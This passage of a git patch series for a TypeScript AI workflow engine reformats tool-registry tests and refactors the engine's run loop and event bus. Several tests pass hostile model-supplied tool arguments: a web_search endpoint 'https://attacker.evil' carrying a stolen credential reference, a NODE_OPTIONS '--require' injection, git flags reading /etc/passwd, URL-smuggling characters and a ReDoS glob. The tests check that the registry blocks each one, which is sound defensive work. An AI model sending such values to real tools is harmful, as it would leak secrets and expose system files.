+ ), ); expect(err).toBeInstanceOf(ToolCancelledError); expect(err.runErrorCode).toBe('cancelled'); @@ -364,7 +439,10 @@ describe('ToolRegistry — host capability, execution, cancellation', () => { const abortErr = Object.assign(new Error('aborted'), { name: 'AbortError' }); const host = stubHost({ fs: fsWith(() => Promise.reject(abortErr)) }); const err = await rejectsWith( - createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx()), + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx(), + ), ); expect(err).toBeInstanceOf(ToolCancelledError); }); @@ -376,7 +454,14 @@ describe('ToolRegistry — model-facing result bounding', () => { it('truncates the model-facing result while output_mapping keeps the full value', async () => { const big = 'z'.repeat(5000); const host = stubHost({ - fs: fsWith(() => Promise.resolve({ content: big, mimeType: 'text/plain', sizeBytes: 5000, lastModified: 't' })), + fs: fsWith(() => + Promise.resolve({ + content: big, + mimeType: 'text/plain', + sizeBytes: 5000, + lastModified: 't', + }), + ), }); const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( call('read_file', { path: 'a' }), @@ -403,19 +488,27 @@ describe('ToolRegistry — os and orchestration tools', () => { }); it('mcp_call dispatches through the mcp capability', async () => { - const out = await registry().dispatch(call('mcp_call', { server: 's', tool: 't', args: { a: 1 } }), ctx()); + const out = await registry().dispatch( + call('mcp_call', { server: 's', tool: 't', args: { a: 1 } }), + ctx(), + ); expect(out.output).toEqual({ ok: true }); }); it('invoke_agent delegates to ctx.invokeAgent', async () => { const invokeAgent = vi.fn(() => Promise.resolve({ delegated: true })); - const out = await registry().dispatch(call('invoke_agent', { nodeId: 'n2', input: { x: 1 } }), ctx({ invokeAgent })); + const out = await registry().dispatch( + call('invoke_agent', { nodeId: 'n2', input: { x: 1 } }), + ctx({ invokeAgent }), + ); expect(invokeAgent).toHaveBeenCalledWith('n2', { x: 1 }); expect(out.output).toEqual({ delegated: true }); }); it('invoke_agent without a delegate is a typed unavailable error', async () => { - const err = await rejectsWith(registry().dispatch(call('invoke_agent', { nodeId: 'n2' }), ctx())); + const err = await rejectsWith( + registry().dispatch(call('invoke_agent', { nodeId: 'n2' }), ctx()), + ); expect(err).toBeInstanceOf(ToolUnavailableError); expect(err.capability).toBe('invokeAgent'); }); @@ -441,7 +534,10 @@ describe('ToolRegistry — policy parsing edge cases', () => { it('yields undefined for an output_mapping path that misses', async () => { const out = await registry().dispatch( call('run_command', { command: 'ls' }), - ctx({ config: { outputMapping: { missing: 'a.b.c' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ctx({ + config: { outputMapping: { missing: 'a.b.c' } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), ); expect(out.output).toEqual({ missing: undefined }); }); @@ -451,22 +547,45 @@ describe('ToolRegistry — policy parsing edge cases', () => { describe('ToolRegistry — config-only params cannot be model- or mapping-supplied (H1/M3)', () => { it('drops a model-supplied config-only key when config does not pin it (run_command env/cwd)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( - call('run_command', { command: 'ls', cwd: '/evil', env: { NODE_OPTIONS: '--require /tmp/x.js' }, timeoutMs: 9_999_999 }), + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), + ); + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( + call('run_command', { + command: 'ls', + cwd: '/evil', + env: { NODE_OPTIONS: '--require /tmp/x.js' }, + timeoutMs: 9_999_999, + }), ctx({ toolPolicy: { allowedCommands: ['ls'] } }), // config pins NONE of cwd/env/timeoutMs ); // env/cwd/timeoutMs come ONLY from config — a model-supplied value never reaches spawn. - expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: undefined, timeoutMs: undefined }, undefined); + expect(spawn).toHaveBeenCalledWith( + 'ls', + [], + {}, + { cwd: undefined, timeoutMs: undefined }, + undefined, + ); }); it('does not let the model redirect web_search to its own endpoint (no secret-exfil)', async () => { - const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>(() => - Promise.resolve({ status: 200, headers: {}, body: '[]' }), + const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>( + () => Promise.resolve({ status: 200, headers: {}, body: '[]' }), ); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ egress: { fetch } }) }).dispatch( + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ egress: { fetch } }), + }).dispatch( // config pins the credentialRef but NOT the endpoint; the model tries to supply a malicious endpoint. - call('web_search', { query: 'q', endpoint: 'https://attacker.evil', credentialRef: 'STOLEN' }), + call('web_search', { + query: 'q', + endpoint: 'https://attacker.evil', + credentialRef: 'STOLEN', + }), ctx({ config: { parameters: { credentialRef: 'real-key-ref' } } }), ); const req = fetch.mock.calls[0]?.[0]; @@ -475,17 +594,36 @@ describe('ToolRegistry — config-only params cannot be model- or mapping-suppli }); it('drops a config-only key supplied via input_mapping too (M3)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), + ); + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('run_command', { command: 'ls' }), - ctx({ config: { inputMapping: { cwd: '/from-state' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ctx({ + config: { inputMapping: { cwd: '/from-state' } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), + ); + expect(spawn).toHaveBeenCalledWith( + 'ls', + [], + {}, + { cwd: undefined, timeoutMs: undefined }, + undefined, ); - expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: undefined, timeoutMs: undefined }, undefined); }); it('git_status drops a model-supplied args[] (flag-injection closed) (H2)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 }), + ); + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('git_status', { command: 'diff', args: ['--no-index', '--', '/etc/passwd'] }), ctx(), ); @@ -494,8 +632,13 @@ describe('ToolRegistry — config-only params cannot be model- or mapping-suppli }); it('git_status runs author-pinned args from config', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 }), + ); + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('git_status', { command: 'diff' }), ctx({ config: { parameters: { args: ['--stat'] } } }), ); @@ -539,7 +682,10 @@ describe('ToolRegistry — host extraction rejects smuggling chars but allows hy ['tab', 'https://e\tvil/'], ])('rejects a %s in the authority as insecure', async (_name, url) => { const err = await rejectsWith( - registry().dispatch(call('http_request', { url }), ctx({ toolPolicy: { allowedDomains: ['api.example.com'] } })), + registry().dispatch( + call('http_request', { url }), + ctx({ toolPolicy: { allowedDomains: ['api.example.com'] } }), + ), ); expect(err.reason).toBe('insecure_url'); }); @@ -555,7 +701,9 @@ describe('ToolRegistry — glob, provider_executed, and mid-dispatch cancel', () }); it('classifies a provider-executed call with the provider_executed reason', async () => { - const err = await rejectsWith(registry().dispatch(call('read_file', { path: 'a' }, true), ctx())); + const err = await rejectsWith( + registry().dispatch(call('read_file', { path: 'a' }, true), ctx()), + ); expect(err.reason).toBe('provider_executed'); expect(err.runErrorCode).toBe('tool_denied'); }); @@ -582,7 +730,10 @@ describe('ToolRegistry — glob, provider_executed, and mid-dispatch cancel', () const err = await rejectsWith( registry().dispatch( call('read_file'), - ctx({ config: { inputMapping: { path: '/etc/passwd' } }, secretArgKeys: new Set(['path']) }), + ctx({ + config: { inputMapping: { path: '/etc/passwd' } }, + secretArgKeys: new Set(['path']), + }), ), ); expect(err).toBeInstanceOf(ToolArgsInvalidError); @@ -598,11 +749,19 @@ describe('ToolRegistry — abort precedence after each await (M-3 line-109, H-1 const host = stubHost({ fs: fsWith(() => { signal.aborted = true; // cancelled while in-flight, but the host RESOLVES (no throw) - return Promise.resolve({ content: 'ok', mimeType: 'text/plain', sizeBytes: 2, lastModified: 't' }); + return Promise.resolve({ + content: 'ok', + mimeType: 'text/plain', + sizeBytes: 2, + lastModified: 't', + }); }), }); const err = await rejectsWith( - createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx({ signal: signal as never })), + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx({ signal: signal as never }), + ), ); expect(err).toBeInstanceOf(ToolCancelledError); }); @@ -611,7 +770,14 @@ describe('ToolRegistry — abort precedence after each await (M-3 line-109, H-1 const signal = { aborted: false }; const big = 'z'.repeat(5000); const host = stubHost({ - fs: fsWith(() => Promise.resolve({ content: big, mimeType: 'text/plain', sizeBytes: 5000, lastModified: 't' })), + fs: fsWith(() => + Promise.resolve({ + content: big, + mimeType: 'text/plain', + sizeBytes: 5000, + lastModified: 't', + }), + ), outputStore: { spill: (text) => { signal.aborted = true; // the run is cancelled during the spill, but spill RESOLVES (no throw) @@ -649,7 +815,10 @@ describe('ToolRegistry — globMatch is linear-time (no ReDoS) and correct (M-1) const evilGlob = 'a*'.repeat(20) + 'X'; // the classic ReDoS shape against a long non-match const start = performance.now(); const err = await rejectsWith( - registry().dispatch(call('run_command', { command: 'a'.repeat(60) }), ctx({ toolPolicy: { allowedCommandGlobs: [evilGlob] } })), + registry().dispatch( + call('run_command', { command: 'a'.repeat(60) }), + ctx({ toolPolicy: { allowedCommandGlobs: [evilGlob] } }), + ), ); expect(performance.now() - start).toBeLessThan(1000); // linear matcher returns near-instantly expect(err.reason).toBe('command_not_allowed'); @@ -664,7 +833,10 @@ describe('ToolRegistry — globMatch is linear-time (no ReDoS) and correct (M-1) ['gi?', 'gie', true], ['gi?', 'giff', false], ])('glob %s vs %s = %s', async (glob, command, allowed) => { - const run = registry().dispatch(call('run_command', { command }), ctx({ toolPolicy: { allowedCommandGlobs: [glob] } })); + const run = registry().dispatch( + call('run_command', { command }), + ctx({ toolPolicy: { allowedCommandGlobs: [glob] } }), + ); if (allowed) { expect((await run).events.result.success).toBe(true); } else { @@ -676,8 +848,13 @@ describe('ToolRegistry — globMatch is linear-time (no ReDoS) and correct (M-1) describe('ToolRegistry — remaining hardening regressions (TG-2, TG-4)', () => { it('git_status drops an args[] supplied via input_mapping (TG-2)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); - await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 }), + ); + await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('git_status', { command: 'diff' }), ctx({ config: { inputMapping: { args: ['--no-index', '/etc/passwd'] } } }), ); diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts index a5b87fea..a85a3030 100644 --- a/packages/core/src/tools/registry.ts +++ b/packages/core/src/tools/registry.ts @@ -110,7 +110,12 @@ async function dispatch( // 6. output_mapping runs on the FULL result → workflow state keeps the real value. outputMapped = applyOutputMapping(output, ctx.config.outputMapping); // 7. Bound the MODEL-FACING result (the full result is untouched above). - bounded = await boundForModel(output, ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS, host, ctx.signal); + bounded = await boundForModel( + output, + ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS, + host, + ctx.signal, + ); // An abort that lands during bounding (its async fast path yields a microtask) must still classify // as cancelled, not a success — the symmetric guard to line 109 after the dispatch await. throwIfAborted(ctx, def.id); @@ -228,7 +233,12 @@ function assertNoTaintedArgs( function toArgsInvalid(toolId: ToolId, cause: unknown): ToolArgsInvalidError { const fields = zodIssuePaths(cause); const where = fields.length > 0 ? ` (${fields.join(', ')})` : ''; - return new ToolArgsInvalidError(toolId, fields, `tool \`${toolId}\`: invalid arguments${where}`, cause); + return new ToolArgsInvalidError( + toolId, + fields, + `tool \`${toolId}\`: invalid arguments${where}`, + cause, + ); } /** Extract field paths from a ZodError-shaped cause — names only, never the received value. */ @@ -284,10 +294,7 @@ function enforcePolicy(def: ToolDef, args: unknown, ctx: ToolDispatchContext): v // SSRF range-block runs inside the host egress capability (1.AE). No engine allowlist check here. } -function commandAllowed( - command: string, - policy: import('@relavium/shared').ToolPolicy, -): boolean { +function commandAllowed(command: string, policy: import('@relavium/shared').ToolPolicy): boolean { const exact = policy.allowedCommands ?? []; if (exact.includes(command)) { return true; // exact match (ADR-0029(a)) — `git` never authorizes `git push --force` diff --git a/packages/core/src/tools/types.ts b/packages/core/src/tools/types.ts index 5def5242..e6869efc 100644 --- a/packages/core/src/tools/types.ts +++ b/packages/core/src/tools/types.ts @@ -103,7 +103,12 @@ export interface EgressResponse { export interface FsCapability { readFile(path: string, opts: FsReadOpts, signal?: AbortSignalLike): Promise; - writeFile(path: string, data: string, opts: FsWriteOpts, signal?: AbortSignalLike): Promise; + writeFile( + path: string, + data: string, + opts: FsWriteOpts, + signal?: AbortSignalLike, + ): Promise; listDirectory(path: string, opts: FsListOpts, signal?: AbortSignalLike): Promise; } // `| undefined` on these forwarded-from-optional-args fields (exactOptionalPropertyTypes pass-through). @@ -239,7 +244,6 @@ export interface ToolDispatchContext { readonly signal?: AbortSignalLike; } - export interface ToolDef { readonly id: ToolId; readonly source: ToolSource; From 191f8e11ef944093379af1c80ad4f5a7b5b612ab Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 19:51:15 +0300 Subject: [PATCH 12/16] fix(core): address PR-17 review findings on 1.N (run loop) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Inline review: - run-handle: return() now delegates to close() so a parked next() is settled deterministically (was duplicate logic that skipped the waiting-pull resolve). - run-handle: scope both the primary subscription and the exposed subscribe() to the handle's runId, so on a bus shared across runs/sessions (the ADR-0036 "one bus, two namespaces" model) a handle only ever sees its own run's events. - event-bus: isolate a throwing onListenerError — wrap it so a sink failure can't bubble into deliver() and break the producer/sibling subscribers; surface it out-of-band instead. Skipped (with reason): - reconcile() not hydrating a resumable interrupted run: rehydrating a gate-parked run's RunExecution from persisted state is the Checkpointer's job (1.R); failing it here would destroy the resumability 1.R restores. Documented in-code; resume() throws unknown_run by design until 1.R lands. Sonar: - #onOutcome split into #settleCompleted/#settleFailed/#settlePaused/#failNodeInternal (cognitive complexity 27 -> well under 15); #step's idle handling extracted to #handleIdle (16 -> under 15). Behavior unchanged — 55 engine tests still green. - optional chains (#claimReady, #failNodeInternal); flipped negated optional-field ternaries (resume/#settle/#settlePaused) to positive; execution-host uses events.at(-1). The #nodeEmit per-type cases are KEPT (each narrows `event` to a distinct union member so the spread keeps its fields; merging needs an unsafe cast) — documented in-code rather than collapsed. Tests: removed a dead `events` collection (unknown-gate test); hoisted seedStarted to module scope; added gap-free-sequence assertions and a multi-run-isolation test that locks in the runId scoping. engine >=90% line+branch. Refs: ADR-0036 Co-Authored-By: Claude Opus 4.8 --- packages/core/src/engine/engine.test.ts | 59 +++-- packages/core/src/engine/engine.ts | 227 +++++++++++--------- packages/core/src/engine/event-bus.test.ts | 7 +- packages/core/src/engine/event-bus.ts | 22 +- packages/core/src/engine/execution-host.ts | 2 +- packages/core/src/engine/run-handle.test.ts | 33 +++ packages/core/src/engine/run-handle.ts | 21 +- 7 files changed, 226 insertions(+), 145 deletions(-) diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts index 19e9f982..cbc12e96 100644 --- a/packages/core/src/engine/engine.test.ts +++ b/packages/core/src/engine/engine.test.ts @@ -85,6 +85,35 @@ function expectThrowsCode(fn: () => void, code: string): void { throw new Error(`expected an EngineStateError with code ${code}`); } +/** Seed a store with a `run:started` (and optionally a trailing event) to simulate a crashed run. */ +function seedStarted(store: RunStore, runId: string, lastType?: RunEvent['type']): Promise { + const startedAt = '2026-06-13T00:00:00.000Z'; + const events: RunEvent[] = [ + { + type: 'run:started', + runId, + timestamp: startedAt, + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000099', + inputs: {}, + executionMode: 'local', + }, + ]; + if (lastType === 'human_gate:paused') { + events.push({ + type: 'human_gate:paused', + runId, + timestamp: startedAt, + sequenceNumber: 1, + nodeId: 'g', + gateId: 'gid', + gateType: 'approval', + message: 'approve?', + }); + } + return Promise.all(events.map((e) => store.persistEvent(e))).then(() => undefined); +} + const SEQUENTIAL = ` id: seq nodes: - { id: start, type: input } @@ -391,10 +420,8 @@ describe('WorkflowEngine — human gate suspend/resume', () => { g: () => ({ kind: 'paused', gate: { gateType: 'approval', message: 'approve?' } }), }); const handle = engine.start({ workflow: workflow(GATED) }); - const events: RunEvent[] = []; let caught: unknown; for await (const event of handle.events) { - events.push(event); if (event.type === 'human_gate:paused') { try { await engine.resume(handle.runId, 'not-a-real-gate', { @@ -459,34 +486,6 @@ describe('WorkflowEngine — max_parallel concurrency cap', () => { // --- crash reconciliation --------------------------------------------------------------------- describe('WorkflowEngine — crash reconciliation', () => { - function seedStarted(store: RunStore, runId: string, lastType?: RunEvent['type']): Promise { - const startedAt = '2026-06-13T00:00:00.000Z'; - const events: RunEvent[] = [ - { - type: 'run:started', - runId, - timestamp: startedAt, - sequenceNumber: 0, - workflowId: '00000000-0000-4000-8000-000000000099', - inputs: {}, - executionMode: 'local', - }, - ]; - if (lastType === 'human_gate:paused') { - events.push({ - type: 'human_gate:paused', - runId, - timestamp: startedAt, - sequenceNumber: 1, - nodeId: 'g', - gateId: 'gid', - gateType: 'approval', - message: 'approve?', - }); - } - return Promise.all(events.map((e) => store.persistEvent(e))).then(() => undefined); - } - it('fails a crashed, non-resumable run with a single run:failed continuing its sequence', async () => { const store = new InMemoryRunStore(); await seedStarted(store, 'crashed-1'); diff --git a/packages/core/src/engine/engine.ts b/packages/core/src/engine/engine.ts index 42ba20d4..56825213 100644 --- a/packages/core/src/engine/engine.ts +++ b/packages/core/src/engine/engine.ts @@ -45,9 +45,11 @@ import { EngineStateError } from './errors.js'; import { RunEventBus, type RunEventDraft } from './event-bus.js'; import type { AbortControllerLike, ExecutionHost } from './execution-host.js'; import type { + GateRequest, NodeExecContext, NodeExecutor, NodeFailure, + NodeOutcome, NodeStreamEvent, } from './node-executor.js'; import { createRunHandle, type RunHandle } from './run-handle.js'; @@ -261,7 +263,7 @@ class RunExecution { nodeId: gate.vertexId, decision: decision.decision, decidedBy: decision.decidedBy, - ...(decision.payload !== undefined ? { payload: decision.payload } : {}), + ...(decision.payload === undefined ? {} : { payload: decision.payload }), }); const state = this.#states.get(gate.vertexId); if (state !== undefined) { @@ -327,22 +329,7 @@ class RunExecution { const ready = this.#claimReady(running); if (ready.length === 0) { - if (running === 0) { - if (this.#pendingGates.size > 0) { - await this.#emitPausedOnce(); - } else { - // A valid DAG always makes progress while nothing runs and no gate is pending; reaching here - // is an engine-invariant breach (e.g. a skip-propagation bug) — fail loudly, never hang. - this.#failure = { - error: { - code: 'internal', - message: 'run stalled with no runnable node', - retryable: false, - }, - }; - this.#schedule(); - } - } + await this.#handleIdle(running); return; } // The vertices are already marked `running` (claimed synchronously above), so these awaits cannot @@ -359,6 +346,23 @@ class RunExecution { } } + /** Nothing was ready this step: while idle, pause if a gate pends, else stall loudly (invariant). */ + async #handleIdle(running: number): Promise { + if (running > 0) { + return; // still executing — wait for the next settlement to re-evaluate + } + if (this.#pendingGates.size > 0) { + await this.#emitPausedOnce(); + return; + } + // A valid DAG always makes progress while nothing runs and no gate is pending; reaching here is an + // engine-invariant breach (e.g. a skip-propagation bug) — fail loudly, never hang. + this.#failure = { + error: { code: 'internal', message: 'run stalled with no runnable node', retryable: false }, + }; + this.#schedule(); + } + /** Synchronously claim every dispatchable vertex (up to the cap), marking it `running`. */ #claimReady(alreadyRunning: number): PlanVertex[] { const cap = this.#plan.maxParallel ?? Number.POSITIVE_INFINITY; @@ -370,7 +374,7 @@ class RunExecution { } const vertex = this.#plan.vertices.get(vertexId); const state = this.#states.get(vertexId); - if (vertex === undefined || state === undefined || state.status !== 'pending') { + if (vertex === undefined || state?.status !== 'pending') { continue; } if (!this.#allDepsSettled(vertex) || !this.#hasLiveEdge(vertex)) { @@ -413,103 +417,114 @@ class RunExecution { await this.#onOutcome(vertex, outcome, startedAtMs); } - async #onOutcome( - vertex: PlanVertex, - outcome: Awaited>, - startedAtMs: number, - ): Promise { + async #onOutcome(vertex: PlanVertex, outcome: NodeOutcome, startedAtMs: number): Promise { if (this.#settled) { return; // terminal already emitted — ignore a late settle (e.g. an aborted straggler) } - const state = this.#states.get(vertex.id); try { switch (outcome.kind) { case 'completed': - case 'branch': { - // Update status SYNCHRONOUSLY before emitting, so `#countRunning` is consistent the instant - // this vertex settles — a concurrent step never sees it as still running. - if (state !== undefined) { - state.status = 'completed'; - state.output = outcome.output; - if (outcome.kind === 'branch') { - state.selectedTargets = new Set(outcome.selected); - } - } - const tokens: TokensUsed = outcome.tokensUsed ?? { input: 0, output: 0 }; - this.#totalInputTokens += tokens.input; - this.#totalOutputTokens += tokens.output; - await this.#emitDurable({ - type: 'node:completed', - runId: this.runId, - nodeId: vertex.id, - output: outcome.output, - tokensUsed: tokens, - durationMs: Math.max(0, this.#elapsedMs() - startedAtMs), - }); + case 'branch': + await this.#settleCompleted(vertex, outcome, startedAtMs); break; - } - case 'failed': { - if (state !== undefined) { - state.status = 'failed'; - } - // First failure is the root cause; cancel wins, so do not set #failure while cancelling. - if (this.#failure === undefined && !this.#cancelling) { - this.#failure = { nodeId: vertex.id, error: outcome.error }; - this.#abort.abort(); // cooperatively cancel sibling branches - } - await this.#emitDurable({ - type: 'node:failed', - runId: this.runId, - nodeId: vertex.id, - // Stamp a secret-free correlation id at this single translation point (ADR-0036) so a - // surface can quote it and it joins to the structured internal log. - error: { ...outcome.error, correlationId: this.#host.ids.newId() }, - }); + case 'failed': + await this.#settleFailed(vertex, outcome.error); break; - } - case 'paused': { - const gateId = outcome.gate.gateId ?? this.#host.ids.newId(); - if (state !== undefined) { - state.status = 'paused'; - } - this.#pendingGates.set(gateId, { vertexId: vertex.id }); - await this.#emitDurable({ - type: 'human_gate:paused', - runId: this.runId, - nodeId: vertex.id, - gateId, - gateType: outcome.gate.gateType, - message: outcome.gate.message, - ...(outcome.gate.assignee !== undefined ? { assignee: outcome.gate.assignee } : {}), - ...(outcome.gate.timeoutMs !== undefined ? { timeoutMs: outcome.gate.timeoutMs } : {}), - ...(outcome.gate.expiresAt !== undefined ? { expiresAt: outcome.gate.expiresAt } : {}), - }); + case 'paused': + await this.#settlePaused(vertex, outcome.gate); break; - } } } catch { // Backstop for an UNEXPECTED throw while settling a node — e.g. a bus/Zod stamp failure on a // malformed event. (A durable persist rejection no longer reaches here: #emitDurable is total.) - // Never leave the run hanging: mark this vertex failed and fail the run (unless already - // cancelling/failing). - if (state !== undefined && state.status === 'running') { - state.status = 'failed'; - } - if (!this.#settled && this.#failure === undefined && !this.#cancelling) { - this.#failure = { - nodeId: vertex.id, - error: { - code: 'internal', - message: 'the engine failed while settling a node', - retryable: false, - }, - }; - this.#abort.abort(); - } + this.#failNodeInternal(vertex, 'the engine failed while settling a node'); } this.#schedule(); } + /** A `completed` / `branch` outcome: record output (+ selected branches), tally tokens, emit. */ + async #settleCompleted( + vertex: PlanVertex, + outcome: Extract, + startedAtMs: number, + ): Promise { + // Update status SYNCHRONOUSLY before emitting, so `#countRunning` is consistent the instant this + // vertex settles — a concurrent step never sees it as still running. + const state = this.#states.get(vertex.id); + if (state !== undefined) { + state.status = 'completed'; + state.output = outcome.output; + if (outcome.kind === 'branch') { + state.selectedTargets = new Set(outcome.selected); + } + } + const tokens: TokensUsed = outcome.tokensUsed ?? { input: 0, output: 0 }; + this.#totalInputTokens += tokens.input; + this.#totalOutputTokens += tokens.output; + await this.#emitDurable({ + type: 'node:completed', + runId: this.runId, + nodeId: vertex.id, + output: outcome.output, + tokensUsed: tokens, + durationMs: Math.max(0, this.#elapsedMs() - startedAtMs), + }); + } + + /** A `failed` outcome: record the root cause (cancel wins), then emit `node:failed`. */ + async #settleFailed(vertex: PlanVertex, error: NodeFailure): Promise { + const state = this.#states.get(vertex.id); + if (state !== undefined) { + state.status = 'failed'; + } + // First failure is the root cause; cancel wins, so do not set #failure while cancelling. + if (this.#failure === undefined && !this.#cancelling) { + this.#failure = { nodeId: vertex.id, error }; + this.#abort.abort(); // cooperatively cancel sibling branches + } + await this.#emitDurable({ + type: 'node:failed', + runId: this.runId, + nodeId: vertex.id, + // Stamp a secret-free correlation id at this single translation point (ADR-0036) so a surface + // can quote it and it joins to the structured internal log. + error: { ...error, correlationId: this.#host.ids.newId() }, + }); + } + + /** A `paused` outcome: park the gate and emit `human_gate:paused`. */ + async #settlePaused(vertex: PlanVertex, gate: GateRequest): Promise { + const gateId = gate.gateId ?? this.#host.ids.newId(); + const state = this.#states.get(vertex.id); + if (state !== undefined) { + state.status = 'paused'; + } + this.#pendingGates.set(gateId, { vertexId: vertex.id }); + await this.#emitDurable({ + type: 'human_gate:paused', + runId: this.runId, + nodeId: vertex.id, + gateId, + gateType: gate.gateType, + message: gate.message, + ...(gate.assignee === undefined ? {} : { assignee: gate.assignee }), + ...(gate.timeoutMs === undefined ? {} : { timeoutMs: gate.timeoutMs }), + ...(gate.expiresAt === undefined ? {} : { expiresAt: gate.expiresAt }), + }); + } + + /** Mark a vertex failed and fail the run (unless already cancelling/failing) — the internal backstop. */ + #failNodeInternal(vertex: PlanVertex, message: string): void { + const state = this.#states.get(vertex.id); + if (state?.status === 'running') { + state.status = 'failed'; + } + if (!this.#settled && this.#failure === undefined && !this.#cancelling) { + this.#failure = { nodeId: vertex.id, error: { code: 'internal', message, retryable: false } }; + this.#abort.abort(); + } + } + async #emitPausedOnce(): Promise { if (this.#pauseEpisode) { return; @@ -550,7 +565,7 @@ class RunExecution { runId: this.runId, error: { ...failure.error, - ...(failure.nodeId !== undefined ? { nodeId: failure.nodeId } : {}), + ...(failure.nodeId === undefined ? {} : { nodeId: failure.nodeId }), correlationId: this.#host.ids.newId(), }, partialOutputs: this.#collectOutputs('completed'), @@ -662,9 +677,12 @@ class RunExecution { #nodeEmit(event: NodeStreamEvent): void { const runId = this.runId; - // Narrow per-type before spreading: spreading the union value directly would collapse to its common - // fields. The engine owns the run-wide `cumulativeCostMicrocents` (a per-node executor cannot know - // it), so it is recomputed here authoritatively; the rest pass through with the correlation key added. + // The four non-cost cases look identical, but each must NARROW `event` to a single union member so + // the `{ ...event, runId }` spread keeps that member's required fields — spreading the union value + // directly collapses to its common fields (a type error), and bridging that with a cast would + // violate the no-unsafe-`as` rule. So the apparent duplication is the type-safe choice. The engine + // owns the run-wide `cumulativeCostMicrocents` (a per-node executor cannot know it), so cost is + // recomputed here authoritatively; the rest pass through with only the correlation key added. switch (event.type) { case 'agent:token': this.#bus.emit({ ...event, runId }); @@ -812,6 +830,11 @@ export class WorkflowEngine { const reconciled: RunEvent[] = []; for (const run of interrupted) { if (run.resumable) { + // A run parked at a gate is intentionally left for the checkpoint/resume path (1.R): + // rehydrating its full RunExecution from the persisted step_executions + run_events is the + // Checkpointer's job, not 1.N's, and failing it here would destroy the resumability 1.R + // restores. Until 1.R wires that rehydration, resume() on a not-yet-rehydrated run throws + // unknown_run by design — never silently, and never a corrupted half-run. continue; } const event = RunEventSchema.parse({ diff --git a/packages/core/src/engine/event-bus.test.ts b/packages/core/src/engine/event-bus.test.ts index ff6f5a79..f1f80233 100644 --- a/packages/core/src/engine/event-bus.test.ts +++ b/packages/core/src/engine/event-bus.test.ts @@ -68,16 +68,17 @@ describe('RunEventBus — sequence stamping (the single producer-side translatio it('does not advance the counter when validation rejects the event', () => { const bus = new RunEventBus({ now: fakeNow() }); - const bad = { + // Statically valid (a number), runtime-invalid (nonNegativeInt rejects -1) — no cast needed. + const bad: RunEventDraft = { type: 'cost:updated', runId: 'run-1', nodeId: 'n', model: 'm', inputTokens: 0, outputTokens: 0, - costMicrocents: -1, // nonNegativeInt — rejected + costMicrocents: -1, cumulativeCostMicrocents: 0, - } as unknown as RunEventDraft; + }; expect(() => bus.next(bad)).toThrow(); // The next valid event still gets sequence 0 — the failed stamp did not consume a number. expect(bus.next(nodeStarted('run-1', 'a')).sequenceNumber).toBe(0); diff --git a/packages/core/src/engine/event-bus.ts b/packages/core/src/engine/event-bus.ts index 0fb55b5c..e2c7d84d 100644 --- a/packages/core/src/engine/event-bus.ts +++ b/packages/core/src/engine/event-bus.ts @@ -129,12 +129,26 @@ export class RunEventBus { #reportListenerError(error: unknown, event: RunEvent): void { if (this.#onListenerError !== undefined) { - this.#onListenerError(error, event); - return; + try { + this.#onListenerError(error, event); + return; + } catch 